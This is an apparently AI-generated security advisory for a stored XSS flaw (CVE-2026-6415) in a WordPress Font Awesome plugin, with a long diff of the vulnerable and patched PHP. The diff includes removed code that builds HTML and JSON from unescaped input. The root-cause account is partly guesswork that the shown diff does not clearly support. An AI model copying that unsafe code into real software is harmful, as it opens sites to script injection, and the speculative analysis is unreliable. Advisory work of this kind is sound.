Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 14, 2026

CVE-2026-6415: Advanced Custom Fields: Font Awesome Field <= 5.0.2 – Authenticated (Subscriber+) Stored Cross-Site Scripting via JSON Field (advanced-custom-fields-font-awesome)

CVE ID CVE-2026-6415
Plugin advanced-custom-fields-font-awesome
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 5.0.2
Patched Version 6.0.0
Disclosed May 13, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-6415:

This vulnerability is a Stored Cross-Site Scripting (XSS) in the Advanced Custom Fields: Font Awesome plugin for WordPress, affecting versions up to and including 5.0.2. The flaw resides in insufficient input validation of JSON field values and unsafe client-side HTML construction in the JavaScript function update_preview(). Authenticated attackers with Subscriber-level access or higher can inject arbitrary web scripts that execute when users visit an affected page.

Root Cause: The vulnerability stems from the plugin’s failure to sanitize or escape user-supplied JSON data when constructing HTML elements client-side. The vulnerable JavaScript function update_preview() (likely in an enqueued script file like assets/js/input.js or similar) directly interpolates JSON field values into HTML strings without using safe DOM methods or escaping. The PHP backend does not validate or sanitize the JSON payload before storing it, allowing malicious HTML/JavaScript to persist. The injected content is rendered unsafely when the preview is shown in the admin or frontend.

Exploitation: An authenticated attacker with at least Subscriber role can exploit this by editing a Font Awesome field’s JSON value to include a malicious payload, such as . The attacker could use the WordPress admin AJAX endpoint (admin-ajax.php) or a custom field update endpoint to submit the crafted JSON. When an administrator or any user views a page containing the injected icon preview, the XSS payload executes in their browser, allowing session hijacking, credential theft, or defacement.

Patch Analysis: The patch updates the plugin from version 5.0.2 to 6.0.0. The code diff shows removal of the entire get_ajax_query() method and related icon search logic that processed user-supplied search strings and built HTML responses. The patch replaces client-side icon search with a server-side AJAX handler (fa_query_request) that uses GraphQL queries and proper nonce verification (check_ajax_referer). This eliminates the direct construction of HTML from unsanitized JSON, mitigating the XSS vector.

Impact: Successful exploitation leads to Stored XSS, enabling attackers to execute arbitrary JavaScript in the context of legitimate users’ browsers. This can result in stealing session cookies, performing administrative actions on behalf of an admin, defacing pages, or distributing malware. Given that the vulnerability requires only Subscriber-level authentication, any user with a WordPress account can potentially compromise the site.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff 
--- a/advanced-custom-fields-font-awesome/acf-font-awesome.php
+++ b/advanced-custom-fields-font-awesome/acf-font-awesome.php
@@ -4,7 +4,7 @@
 Plugin Name: Advanced Custom Fields: Font Awesome
 Plugin URI: https://wordpress.org/plugins/advanced-custom-fields-font-awesome/
 Description: Adds a new 'Font Awesome Icon' field to the popular Advanced Custom Fields plugin.
-Version: 5.0.2
+Version: 6.0.0
 Author: Justin Kruit, Matt Keys
 Author URI: http://justinkruit.com/
 Text Domain: acf-font-awesome
@@ -17,7 +17,7 @@
 }

 if ( ! defined( 'ACFFA_VERSION' ) ) {
-	define( 'ACFFA_VERSION', '5.0.2' );
+	define( 'ACFFA_VERSION', '6.0.0' );
 }

 if ( ! defined( 'ACFFA_PUBLIC_PATH' ) ) {
--- a/advanced-custom-fields-font-awesome/admin/class-ACFFA-Admin.php
+++ b/advanced-custom-fields-font-awesome/admin/class-ACFFA-Admin.php
@@ -389,48 +389,50 @@
 			]
 		);

-		add_settings_section(
-			'acffa_section_icon_set_builder',
-			__( 'Icon Set Builder', 'acf-font-awesome' ),
-			[ $this, 'acffa_section_icon_set_builder_cb' ],
-			'acffa'
-		);
+		if (version_compare(ACFFA_MAJOR_VERSION, 7, '<')) {
+			add_settings_section(
+				'acffa_section_icon_set_builder',
+				__('Icon Set Builder', 'acf-font-awesome'),
+				[$this, 'acffa_section_icon_set_builder_cb'],
+				'acffa'
+			);

-		add_settings_field(
-			'acffa_new_icon_set_label',
-			__( 'New Icon Set Label', 'acf-font-awesome' ),
-			[ $this, 'acffa_new_icon_set_label_cb' ],
-			'acffa',
-			'acffa_section_icon_set_builder',
-			[
-				'label_for'	=> 'acffa_new_icon_set_label',
-				'class'		=> 'acffa_row custom-icon-set'
-			]
-		);
+			add_settings_field(
+				'acffa_new_icon_set_label',
+				__('New Icon Set Label', 'acf-font-awesome'),
+				[$this, 'acffa_new_icon_set_label_cb'],
+				'acffa',
+				'acffa_section_icon_set_builder',
+				[
+					'label_for'	=> 'acffa_new_icon_set_label',
+					'class'		=> 'acffa_row custom-icon-set'
+				]
+			);

-		add_settings_field(
-			'acffa_new_icon_set',
-			__( 'New Icon Set', 'acf-font-awesome' ),
-			[ $this, 'acffa_new_icon_set_cb' ],
-			'acffa',
-			'acffa_section_icon_set_builder',
-			[
-				'label_for'	=> 'acffa_new_icon_set',
-				'class'		=> 'acffa_row custom-icon-set'
-			]
-		);
+			add_settings_field(
+				'acffa_new_icon_set',
+				__('New Icon Set', 'acf-font-awesome'),
+				[$this, 'acffa_new_icon_set_cb'],
+				'acffa',
+				'acffa_section_icon_set_builder',
+				[
+					'label_for'	=> 'acffa_new_icon_set',
+					'class'		=> 'acffa_row custom-icon-set'
+				]
+			);

-		add_settings_field(
-			'acffa_existing_icon_sets',
-			__( 'Existing Icon Sets', 'acf-font-awesome' ),
-			[ $this, 'acffa_existing_icon_sets_cb' ],
-			'acffa',
-			'acffa_section_icon_set_builder',
-			[
-				'label_for'	=> 'acffa_existing_icon_sets',
-				'class'		=> 'acffa_row custom-icon-set'
-			]
-		);
+			add_settings_field(
+				'acffa_existing_icon_sets',
+				__('Existing Icon Sets', 'acf-font-awesome'),
+				[$this, 'acffa_existing_icon_sets_cb'],
+				'acffa',
+				'acffa_section_icon_set_builder',
+				[
+					'label_for'	=> 'acffa_existing_icon_sets',
+					'class'		=> 'acffa_row custom-icon-set'
+				]
+			);
+		}
 	}

 	public function sanitize_new_icon_set( $data )
--- a/advanced-custom-fields-font-awesome/assets/inc/class-ACFFA-Loader-7.php
+++ b/advanced-custom-fields-font-awesome/assets/inc/class-ACFFA-Loader-7.php
@@ -1,4 +1,5 @@
 <?php
+
 /**
  * =======================================
  * Advanced Custom Fields Font Awesome Loader 7
@@ -9,140 +10,104 @@
  * @author Matt Keys <https://profiles.wordpress.org/mattkeys>
  */

-if ( ! defined( 'ABSPATH' ) ) {
+if (! defined('ABSPATH')) {
 	exit;
 }

-class ACFFA_Loader_7
-{
+class ACFFA_Loader_7 {
 	private $kit_token					= false;
 	private $latest_version_timestamp	= false;
 	private $options					= false;

-	public function __construct()
-	{
-		$acffa_settings					= get_option( 'acffa_settings', [] );
-		$this->kit_token				= isset( $acffa_settings['acffa_kit'] ) ? sanitize_text_field( $acffa_settings['acffa_kit'] ) : false;
-		$this->latest_version_timestamp	= get_option( 'ACFFA_latest_version_timestamp', time() );
+	public function __construct() {
+		$acffa_settings					= get_option('acffa_settings', []);
+		$this->kit_token				= isset($acffa_settings['acffa_kit']) ? sanitize_text_field($acffa_settings['acffa_kit']) : false;
+		$this->latest_version_timestamp	= get_option('ACFFA_latest_version_timestamp', time());
 		$this->options					= $acffa_settings;

-		if ( $ACFFA_fa_kit_token = apply_filters( 'ACFFA_fa_kit_token', false ) ) {
+		if ($ACFFA_fa_kit_token = apply_filters('ACFFA_fa_kit_token', false)) {
 			$this->kit_token = $ACFFA_fa_kit_token;
 		}

-		add_action( 'wp_ajax_acf/fields/font-awesome/query', [ $this, 'select2_ajax_request' ] );
-		add_filter( 'ACFFA_get_fa_url', [ $this, 'get_fa_url' ], 5, 1 );
-		add_filter( 'ACFFA_icon_prefix_label', [ $this, 'get_prefix_label' ], 5, 2 );
-		add_filter( 'ACFFA_get_latest_version', [ $this, 'get_latest_version' ], 5, 2 );
-		add_filter( 'ACFFA_fontawesome_access_token', [ $this, 'get_access_token' ], 5, 2 );
-		add_filter( 'ACFFA_family_style_string_to_array', [ $this, 'family_style_string_to_array' ], 10, 2 );
-		add_filter( 'ACFFA_standardize_custom_icon_set_family_style', [ $this, 'standardize_custom_icon_set_family_style' ], 10, 1 );
-		add_filter( 'ACFFA_default_family_by_style', [ $this, 'get_default_family_by_style' ], 10, 2 );
-		add_filter( 'script_loader_tag', [ $this, 'fa_kit_script_attributes' ], 10, 3 );
-		add_filter( 'script_loader_tag', [ $this, 'js_api_script_attributes' ], 10, 3 );
-	}
-
-	public function select2_ajax_request()
-	{
-		if ( ! acf_verify_ajax() ) {
-			die();
-		}
-
-		if ( ! $this->kit_token || ( isset( $this->options['acffa_v5_compatibility_mode'] ) && $this->options['acffa_v5_compatibility_mode'] ) ) {
-			$this->maybe_recheck_latest_version();
-		}
-
-		$response = $this->get_ajax_query( $_POST );
-
-		acf_send_ajax_results( $response );
-	}
-
-	private function get_search_config()
-	{
-		if ( ! $this->kit_token ) {
-			return [];
-		}
-
-		if ( ! $search_config = get_transient( 'ACFFA_search_config' ) ) {
-			$access_token = apply_filters( 'ACFFA_fontawesome_access_token', false );
-
-			if ( ! $access_token ) {
-				return;
-			}
+		add_filter('ACFFA_get_fa_url', [$this, 'get_fa_url'], 5, 1);
+		add_filter('ACFFA_fontawesome_kit_token', [$this, 'get_token'], 5, 0);
+		add_filter('ACFFA_icon_prefix_label', [$this, 'get_prefix_label'], 5, 2);
+		add_filter('ACFFA_get_latest_version', [$this, 'get_latest_version'], 5, 2);
+		add_filter('ACFFA_fontawesome_access_token', [$this, 'get_access_token'], 5, 2);
+		add_filter('ACFFA_family_style_string_to_array', [$this, 'family_style_string_to_array'], 10, 2);
+		add_filter('ACFFA_standardize_custom_icon_set_family_style', [$this, 'standardize_custom_icon_set_family_style'], 10, 1);
+		add_filter('ACFFA_standardize_icon_set_family_style', [$this, 'standardize_icon_set_family_style'], 10, 1);
+		add_filter('ACFFA_default_family_by_style', [$this, 'get_default_family_by_style'], 10, 2);
+		add_filter('script_loader_tag', [$this, 'fa_kit_script_attributes'], 10, 3);
+		add_filter('script_loader_tag', [$this, 'js_api_script_attributes'], 10, 3);
+		add_action('wp_ajax_acffa_fa_query', [$this, 'fa_query_request']);
+	}
+
+	public function fa_query_request() {
+		check_ajax_referer('acffa_nonce', 'nonce');
+
+		$query = isset($_POST['query']) ? sanitize_text_field(wp_unslash($_POST['query'])) : '';
+		$variables = isset($_POST['variables']) ? json_decode(wp_unslash($_POST['variables']), true) : [];
+
+		$body = [
+			'query'		=> $query,
+			'variables'	=> $variables
+		];

-			$remote_get = wp_remote_post( 'https://api.fontawesome.com', [
-				'headers'	=> [
-					'Content-Type'	=> 'application/json',
-					'Authorization'	=> 'Bearer ' . $access_token,
-				],
-				'timeout'	=> 30,
-				'body'		=> '{
-					"query" : "query { me { kit (token: "' . $this->kit_token . '") { version licenseSelected iconUploads { name width height html pathData unicode } } } }"
-				}'
-			] );
+		$remote_get = wp_remote_post('https://api.fontawesome.com', [
+			'headers'	=> [
+				'Content-Type'	=> 'application/json',
+				'Authorization'	=> 'Bearer ' . apply_filters('ACFFA_fontawesome_access_token', false),
+			],
+			'timeout'	=> 30,
+			'body'		=> json_encode($body)
+		]);

-			if ( ! is_wp_error( $remote_get ) ) {
-				$response_json = wp_remote_retrieve_body( $remote_get );
+		if (! is_wp_error($remote_get)) {
+			$response_json = wp_remote_retrieve_body($remote_get);

-				if ( $response_json ) {
-					$response = json_decode( $response_json );
-					$search_config = [];
-					if ( isset( $response->data->me->kit->version ) ) {
-						$search_config['search_version'] = $response->data->me->kit->version;
-					}
-					if ( isset( $response->data->me->kit->version ) ) {
-						$search_config['search_license'] = $response->data->me->kit->licenseSelected;
-					}
-					if ( isset( $response->data->me->kit->version ) ) {
-						$search_config['custom_icons'] = $response->data->me->kit->iconUploads;
-					}
-					set_transient( 'ACFFA_search_config', $search_config, MINUTE_IN_SECONDS );
-				} else {
-					$search_config = [];
-				}
-			} else {
-				$search_config = [];
+			if ($response_json) {
+				wp_send_json_success(json_decode($response_json));
 			}
 		}

-		return $search_config;
+		wp_send_json_error();
 	}

-	public function get_access_token( $access_token, $new_api_key = false )
-	{
+	public function get_access_token($access_token, $new_api_key = false) {
 		$api_key = $new_api_key ? $new_api_key : false;

-		if ( $ACFFA_fa_api_key = apply_filters( 'ACFFA_fa_api_key', false ) ) {
+		if ($ACFFA_fa_api_key = apply_filters('ACFFA_fa_api_key', false)) {
 			$api_key = $ACFFA_fa_api_key;
-		} else if ( ! $api_key ) {
-			$api_key = isset( $this->options['acffa_api_key'] ) && ! empty( $this->options['acffa_api_key'] ) ? $this->options['acffa_api_key'] : false;
+		} else if (! $api_key) {
+			$api_key = isset($this->options['acffa_api_key']) && ! empty($this->options['acffa_api_key']) ? $this->options['acffa_api_key'] : false;
 		}

-		if ( ! $api_key ) {
+		if (! $api_key) {
 			return;
 		}

-		if ( ! $access_token = get_transient( 'ACFFA_access_token' ) ) {
-			$remote_get = wp_remote_post( 'https://api.fontawesome.com/token', [
+		if (! $access_token = get_transient('ACFFA_access_token')) {
+			$remote_get = wp_remote_post('https://api.fontawesome.com/token', [
 				'headers'	=> [
 					'Content-Type'	=> 'application/json',
 					'Authorization'	=> 'Bearer ' . $api_key,
 				],
 				'timeout'	=> 30
-			] );
+			]);

-			if ( ! is_wp_error( $remote_get ) ) {
-				$response_json = wp_remote_retrieve_body( $remote_get );
+			if (! is_wp_error($remote_get)) {
+				$response_json = wp_remote_retrieve_body($remote_get);

-				if ( $response_json ) {
-					$response = json_decode( $response_json );
-					if ( isset( $response->access_token ) ) {
+				if ($response_json) {
+					$response = json_decode($response_json);
+					if (isset($response->access_token)) {
 						$access_token	= $response->access_token;
 						$expire_time	= $response->expires_in - 5;
-						set_transient( 'ACFFA_access_token', $access_token, $expire_time );
-						update_option( 'ACFFA_last_api_call_status', 'success' );
+						set_transient('ACFFA_access_token', $access_token, $expire_time);
+						update_option('ACFFA_last_api_call_status', 'success');
 					} else {
-						update_option( 'ACFFA_last_api_call_status', 'error' );
+						update_option('ACFFA_last_api_call_status', 'error');
 					}
 				}
 			}
@@ -151,396 +116,174 @@
 		return $access_token;
 	}

-	private function get_ajax_query( $options = [] )
-	{
-		$search_config = $this->get_search_config();
-
-		$options = acf_parse_args($options, [
-			'post_id'		=> 0,
-			's'				=> '',
-			'field_key'		=> '',
-			'paged'			=> 0,
-			'fa_version'	=> isset( $search_config['search_version'] ) ? $search_config['search_version'] : '7.x',
-			'fa_license'	=> isset( $search_config['search_license'] ) ? $search_config['search_license'] : 'free',
-			'custom_icons'	=> isset( $search_config['custom_icons'] ) ? $search_config['custom_icons'] : []
-		] );
-
-		$results	= [];
-		$s			= null;
-
-		if ( 'icon_set_builder' == $options['field_key'] ) {
-			$field = [];
-			$field[ 'icon_sets' ] = [
-				'classic_solid',
-				'classic_regular',
-				'classic_light',
-				'classic_thin',
-				'classic_brands',
-				'sharp_solid',
-				'sharp_regular',
-				'sharp_light',
-				'sharp_thin',
-				'duotone_solid',
-				'duotone_regular',
-				'duotone_light',
-				'duotone_thin',
-				'sharp-duotone_solid',
-				'sharp-duotone_regular',
-				'sharp-duotone_light',
-				'sharp-duotone_thin',
-				'kit_custom',
-				'kit-duotone_custom'
-			];
-		} else if ( 'default_value' != $options['field_key'] ) {
-			$field = acf_get_field( $options['field_key'] );
-			if ( ! $field ) return false;
-		}
-
-		$s = strval( $options['s'] );
-		$s = wp_unslash( $s );
-
-		$active_icon_sets		= isset( $field['icon_sets'] ) ? $field['icon_sets'] : [];
-		$active_icon_sets		= apply_filters( 'ACFFA_v5_upgrade_compat_selected_field_sets', $active_icon_sets );
-		$active_icon_sets		= apply_filters( 'ACFFA_active_icon_sets', $active_icon_sets );
-		$active_icon_sets		= $this->standardize_icon_set_family_style( $active_icon_sets );
-		$search_custom_icon_set	= false;
-
-		if ( isset( $active_icon_sets ) // Make sure we have an icon set
-			 && is_array( $active_icon_sets ) // Got a bug report from a user that the code made it this far without a valid array somehow
-			 && in_array( 'kit_custom', $active_icon_sets ) // Make sure that icon set is 'custom'
-			 && isset( $field['custom_icon_set'] ) // Make sure a custom set has been chosen
-			 && stristr( $field['custom_icon_set'], 'ACFFA_custom_icon_list_v' . ACFFA_MAJOR_VERSION ) // Make sure that chosen custom set matches this version of FontAwesome
-			 && $custom_icon_set = get_option( $field['custom_icon_set'] ) // Make sure we can retrieve the icon set from the DB/cache
-		) {
-			$search_custom_icon_set = true;
-			$custom_icon_set = apply_filters( 'ACFFA_standardize_custom_icon_set_family_style', $custom_icon_set );
-		}
-
-		$kit_version	= apply_filters( 'acffa_kit_version', $options['fa_version'] );
-		$kit_license	= apply_filters( 'acffa_kit_license', $options['fa_license'] );
-		$custom_icons	= apply_filters( 'acffa_kit_custom_icons', $options['custom_icons'] );
-
-		if ( $search_custom_icon_set && '' == $s ) {
-			$sorted_icons = [];
-
-			foreach ( $custom_icon_set as $family_style => $icons ) {
-				if ( ! isset( $sorted_icons[ $family_style ] ) ) {
-					$sorted_icons[ $family_style ] = [];
-				}
-
-				$family_style_array = apply_filters( 'ACFFA_family_style_string_to_array', [], $family_style );
-
-				foreach ( $icons as $icon ) {
-					$icon_details	= json_decode( $icon );
-					$family			= isset( $icon_details->family ) ? $icon_details->family : apply_filters( 'ACFFA_default_family_by_style', 'classic', $family_style_array['style'] );
-					$sorted_icons[ $family_style ][] = [
-						'id'	=> $icon,
-						'text'	=> '<i class="fa-' . $family . ' fa-' . $family_style_array['style'] . ' fa-' . $icon_details->id . ' fa-fw"></i> ' . $icon_details->label
-					];
-				}
-			}
-
-			foreach ( $sorted_icons as $style => $icons ) {
-				$results[] = [
-					'id'		=> $style,
-					'text'		=> apply_filters( 'ACFFA_icon_prefix_label', $style, $style ),
-					'children'	=> $icons
-				];
-			}
-
-			$response = [
-				'results' => $results
-			];
-
-			return $response;
-		}
-
-		$remote_get = wp_remote_post( 'https://api.fontawesome.com', [
-			'headers'	=> [
-				'Content-Type'	=> 'application/json'
-			],
-			'timeout'	=> 30,
-			'body'			=> '{
-				"query" : "query { search(version: "' . $kit_version . '", query: "' . $s . '", first: 20) { id label unicode FamilyStylesByLicense { ' . $kit_license . ' { family style prefix } } } }"
-			}'
-		] );
-
-		if ( ! is_wp_error( $remote_get ) ) {
-			$response_json = wp_remote_retrieve_body( $remote_get );
-
-			if ( $response_json ) {
-				$response = json_decode( $response_json );
-
-				$sorted_icons = [];
-				if ( isset( $response->data->search ) && ! empty( $response->data->search ) ) {
-					if ( $search_custom_icon_set ) {
-						foreach ( $response->data->search as $icon ) {
-							foreach ( $icon->FamilyStylesByLicense->{$kit_license} as $family_style ) {
-								$family_style_key = $family_style->family . '_' . $family_style->style;
-
-								if ( ! isset( $custom_icon_set[ $family_style_key ][ $icon->id ] ) ) {
-									continue;
-								}
-
-								if ( ! isset( $sorted_icons[ $family_style_key ] ) ) {
-									$sorted_icons[ $family_style_key ] = [];
-								}
-
-								$sorted_icons[ $family_style_key ][] = [
-									'id'	=> '{"family" : "' . $family_style->family . '", "style" : "' . $family_style->style . '", "id" : "' . $icon->id . '", "label" : "' . $icon->label . '", "unicode" : "' . $icon->unicode . '"}',
-									'text'	=> '<i class="fa-' . $family_style->family . ' fa-' . $family_style->style . ' fa-' . $icon->id . ' fa-fw"></i> ' . $icon->label
-								];
-							}
-						}
-					} else {
-						if ( ! empty( $active_icon_sets ) ) {
-							foreach ( $response->data->search as $icon ) {
-								foreach ( $icon->FamilyStylesByLicense->{$kit_license} as $family_style ) {
-									$family_style_key = $family_style->family . '_' . $family_style->style;
-									if ( in_array( $family_style_key, $active_icon_sets ) ) {
-										if ( ! isset( $sorted_icons[ $family_style_key ] ) ) {
-											$sorted_icons[ $family_style_key ] = [];
-										}
-
-										$sorted_icons[ $family_style_key ][] = [
-											'id'	=> '{"family" : "' . $family_style->family . '", "style" : "' . $family_style->style . '", "id" : "' . $icon->id . '", "label" : "' . $icon->label . '", "unicode" : "' . $icon->unicode . '"}',
-											'text'	=> '<i class="fa-' . $family_style->family . ' fa-' . $family_style->style . ' fa-' . $icon->id . ' fa-fw"></i> ' . $icon->label
-										];
-									}
-								}
-							}
-						} else {
-							foreach ( $response->data->search as $icon ) {
-								foreach ( $icon->FamilyStylesByLicense->{$kit_license} as $family_style ) {
-									$family_style_key = $family_style->family . '_' . $family_style->style;
-									if ( ! isset( $sorted_icons[ $family_style_key ] ) ) {
-										$sorted_icons[ $family_style_key ] = [];
-									}
-
-									$sorted_icons[ $family_style_key ][] = [
-										'id'	=> '{"family" : "' . $family_style->family . '", "style" : "' . $family_style->style . '", "id" : "' . $icon->id . '", "label" : "' . $icon->label . '", "unicode" : "' . $icon->unicode . '"}',
-										'text'	=> '<i class="fa-' . $family_style->family . ' fa-' . $family_style->style . ' fa-' . $icon->id . ' fa-fw"></i> ' . $icon->label
-									];
-								}
-							}
-						}
-					}
-				}
-
-				if ( ! empty( $custom_icons ) ) {
-					if ( ! isset( $sorted_icons['kit_custom'] ) ) {
-						$sorted_icons['kit_custom'] = [];
-					}
-					if ( ! isset( $sorted_icons['kit-duotone_custom'] ) ) {
-						$sorted_icons['kit-duotone_custom'] = [];
-					}
-					foreach ( $custom_icons as $custom_icon ) {
-						if ( false !== strpos( $custom_icon->name, $s ) ) {
-							$family = count( $custom_icon->pathData ) > 1 ? 'kit-duotone' : 'kit';
-							$family = 'kit-duotone' == $family && '' == $custom_icon->pathData[0] ? 'kit' : $family;
-
-							if ( $search_custom_icon_set && ! isset( $custom_icon_set[ $family . '_custom' ][ $custom_icon->name ] ) ) {
-								continue;
-							}
-
-							$path = json_encode( $custom_icon->pathData );
-							$html = json_encode( $custom_icon->html );
-							$sorted_icons[ $family . '_custom' ][] = [
-								'id'	=> '{"family" : "' . $family . '", "style" : "custom", "id" : "' . $custom_icon->name . '", "label" : "' . $custom_icon->name . '", "unicode" : "' . $custom_icon->unicode . '", "width" : "' . $custom_icon->width . '", "height" : "' . $custom_icon->height . '", "html" : ' . $html . ', "path" : ' . $path . '}',
-								'text'	=> '<i class="fa-' . $family . ' fa-custom fa-' . $custom_icon->name . ' fa-fw"></i> ' . $custom_icon->name
-							];
-						}
-					}
-				}
-
-				foreach ( $sorted_icons as $style => $icons ) {
-					if ( empty( $icons ) ) {
-						continue;
-					}
-
-					$results[] = [
-						'id'		=> $style,
-						'text'		=> apply_filters( 'ACFFA_icon_prefix_label', $style, $style ),
-						'children'	=> $icons
-					];
-				}
-			}
-		}
-
-		$response = [
-			'results' => $results
-		];
-
-		return $response;
-	}
-
-	public function get_fa_url()
-	{
-		if ( $this->kit_token ) {
+	public function get_fa_url() {
+		if ($this->kit_token) {
 			return 'https://kit.fontawesome.com/' . $this->kit_token . '.js';
 		} else {
 			$cdn_baseurl	= 'https://use.fontawesome.com/releases/v';
-			$latest_version	= apply_filters( 'ACFFA_get_latest_version', '7.0.0' );
+			$latest_version	= apply_filters('ACFFA_get_latest_version', '7.0.0');
 			$cdn_filepath	= '/css/all.css';

 			return $cdn_baseurl . $latest_version . $cdn_filepath;
 		}
 	}

-	public function get_prefix_label( $label, $prefix )
-	{
-		$label = empty( $label ) ? 'regular' : $label;
+	public function get_token() {
+		return $this->kit_token;
+	}
+
+	public function get_prefix_label($label, $prefix) {
+		$label = empty($label) ? 'regular' : $label;

-		switch ( $prefix ) {
+		switch ($prefix) {
 			case 'classic_solid':
 			case 'solid':
-				$label = __( 'Classic (Solid)', 'acf-font-awesome' );
+				$label = __('Classic (Solid)', 'acf-font-awesome');
 				break;

 			case 'classic_brands':
 			case 'brands':
-				$label = __( 'Brands', 'acf-font-awesome' );
+				$label = __('Brands', 'acf-font-awesome');
 				break;

 			case 'classic_light':
 			case 'light':
-				$label = __( 'Classic (Light)', 'acf-font-awesome' );
+				$label = __('Classic (Light)', 'acf-font-awesome');
 				break;

 			case 'classic_thin':
 			case 'thin':
-				$label = __( 'Classic (Thin)', 'acf-font-awesome' );
+				$label = __('Classic (Thin)', 'acf-font-awesome');
 				break;

 			case 'sharp_solid':
-				$label = __( 'Solid (Sharp)', 'acf-font-awesome' );
+				$label = __('Solid (Sharp)', 'acf-font-awesome');
 				break;

 			case 'sharp_regular':
-				$label = __( 'Regular (Sharp)', 'acf-font-awesome' );
+				$label = __('Regular (Sharp)', 'acf-font-awesome');
 				break;

 			case 'sharp_light':
-				$label = __( 'Light (Sharp)', 'acf-font-awesome' );
+				$label = __('Light (Sharp)', 'acf-font-awesome');
 				break;

 			case 'sharp_thin':
-				$label = __( 'Thin (Sharp)', 'acf-font-awesome' );
+				$label = __('Thin (Sharp)', 'acf-font-awesome');
 				break;

 			case 'duotone_solid':
 			case 'duotone':
-				$label = __( 'Duotone', 'acf-font-awesome' );
+				$label = __('Duotone', 'acf-font-awesome');
 				break;

 			case 'duotone_regular':
-				$label = __( 'Duotone (Regular)', 'acf-font-awesome' );
+				$label = __('Duotone (Regular)', 'acf-font-awesome');
 				break;

 			case 'duotone_light':
-				$label = __( 'Duotone (Light)', 'acf-font-awesome' );
+				$label = __('Duotone (Light)', 'acf-font-awesome');
 				break;

 			case 'duotone_thin':
-				$label = __( 'Duotone (Thin)', 'acf-font-awesome' );
+				$label = __('Duotone (Thin)', 'acf-font-awesome');
 				break;

 			case 'sharp-duotone_solid':
-				$label = __( 'Sharp Duotone (Solid)', 'acf-font-awesome' );
+				$label = __('Sharp Duotone (Solid)', 'acf-font-awesome');
 				break;

 			case 'sharp-duotone_regular':
-				$label = __( 'Sharp Duotone (Regular)', 'acf-font-awesome' );
+				$label = __('Sharp Duotone (Regular)', 'acf-font-awesome');
 				break;

 			case 'sharp-duotone_light':
-				$label = __( 'Sharp Duotone (Light)', 'acf-font-awesome' );
+				$label = __('Sharp Duotone (Light)', 'acf-font-awesome');
 				break;

 			case 'sharp-duotone_thin':
-				$label = __( 'Sharp Duotone (Thin)', 'acf-font-awesome' );
+				$label = __('Sharp Duotone (Thin)', 'acf-font-awesome');
 				break;

 			case 'whiteboard_semibold':
-				$label = __( 'Whiteboard (SemiBold)', 'acf-font-awesome' );
+				$label = __('Whiteboard (SemiBold)', 'acf-font-awesome');
 				break;

 			case 'etch_solid':
-				$label = __( 'Etch (Solid)', 'acf-font-awesome' );
+				$label = __('Etch (Solid)', 'acf-font-awesome');
 				break;

 			case 'slab_regular':
-				$label = __( 'Slab (Regular)', 'acf-font-awesome' );
+				$label = __('Slab (Regular)', 'acf-font-awesome');
 				break;

 			case 'slab-press_regular':
-				$label = __( 'Slab Press (Regular)', 'acf-font-awesome' );
+				$label = __('Slab Press (Regular)', 'acf-font-awesome');
 				break;

 			case 'thumbprint_light':
-				$label = __( 'Thumbprint (Light)', 'acf-font-awesome' );
+				$label = __('Thumbprint (Light)', 'acf-font-awesome');
 				break;

 			case 'jelly_regular':
-				$label = __( 'Jelly (Regular)', 'acf-font-awesome' );
+				$label = __('Jelly (Regular)', 'acf-font-awesome');
 				break;

 			case 'jelly-duo_regular':
-				$label = __( 'Jelly Duo (Regular)', 'acf-font-awesome' );
+				$label = __('Jelly Duo (Regular)', 'acf-font-awesome');
 				break;

 			case 'jelly-fill_regular':
-				$label = __( 'Jelly Fill (Regular)', 'acf-font-awesome' );
+				$label = __('Jelly Fill (Regular)', 'acf-font-awesome');
 				break;

 			case 'chisel_regular':
-				$label = __( 'Chisel (Regular)', 'acf-font-awesome' );
+				$label = __('Chisel (Regular)', 'acf-font-awesome');
 				break;

 			case 'notdog_solid':
-				$label = __( 'Notdog (Solid)', 'acf-font-awesome' );
+				$label = __('Notdog (Solid)', 'acf-font-awesome');
 				break;

 			case 'notdog-duo_solid':
-				$label = __( 'Notdog Duo (Solid)', 'acf-font-awesome' );
+				$label = __('Notdog Duo (Solid)', 'acf-font-awesome');
 				break;

 			case 'utility_semisolid':
-				$label = __( 'Utility (Solid)', 'acf-font-awesome' );
+				$label = __('Utility (Solid)', 'acf-font-awesome');
 				break;

 			case 'utility-duo_semisolid':
-				$label = __( 'Utility Duo (Solid)', 'acf-font-awesome' );
+				$label = __('Utility Duo (Solid)', 'acf-font-awesome');
 				break;
-
+
 			case 'utility-fill_semisolid':
-				$label = __( 'Utility Fill (Solid)', 'acf-font-awesome' );
+				$label = __('Utility Fill (Solid)', 'acf-font-awesome');
 				break;

 			case 'kit_custom':
 			case 'custom':
 			case 'fak':
-				$label = __( 'Uploaded Icons', 'acf-font-awesome' );
+				$label = __('Uploaded Icons', 'acf-font-awesome');
 				break;

 			case 'kit-duotone_custom':
-				$label = __( 'Uploaded Duotone Icons', 'acf-font-awesome' );
+				$label = __('Uploaded Duotone Icons', 'acf-font-awesome');
 				break;

 			case 'classic_regular':
 			case 'regular':
 			default:
-				$label = __( 'Classic (Regular)', 'acf-font-awesome' );
+				$label = __('Classic (Regular)', 'acf-font-awesome');
 				break;
 		}

 		return $label;
 	}

-	public function get_latest_version( $version, $recheck = false )
-	{
-		if ( $recheck || ! $version = get_option( 'ACFFA_latest_version' ) ) {
-			$remote_get = wp_remote_post( 'https://api.fontawesome.com', [
+	public function get_latest_version($version, $recheck = false) {
+		if ($recheck || ! $version = get_option('ACFFA_latest_version')) {
+			$remote_get = wp_remote_post('https://api.fontawesome.com', [
 				'headers'	=> [
 					'Content-Type'	=> 'application/json'
 				],
@@ -548,18 +291,18 @@
 				'body'			=> '{
 					"query" : "query { release(version:"7.x") { version } }"
 				}'
-			] );
+			]);

-			if ( ! is_wp_error( $remote_get ) ) {
-				$response_json = wp_remote_retrieve_body( $remote_get );
+			if (! is_wp_error($remote_get)) {
+				$response_json = wp_remote_retrieve_body($remote_get);

-				if ( $response_json ) {
-					$response = json_decode( $response_json );
+				if ($response_json) {
+					$response = json_decode($response_json);

-					if ( isset( $response->data->release->version ) ) {
+					if (isset($response->data->release->version)) {
 						$version = $response->data->release->version;
-						update_option( 'ACFFA_latest_version_timestamp', time() );
-						update_option( 'ACFFA_latest_version', $version );
+						update_option('ACFFA_latest_version_timestamp', time());
+						update_option('ACFFA_latest_version', $version);
 					}
 				}
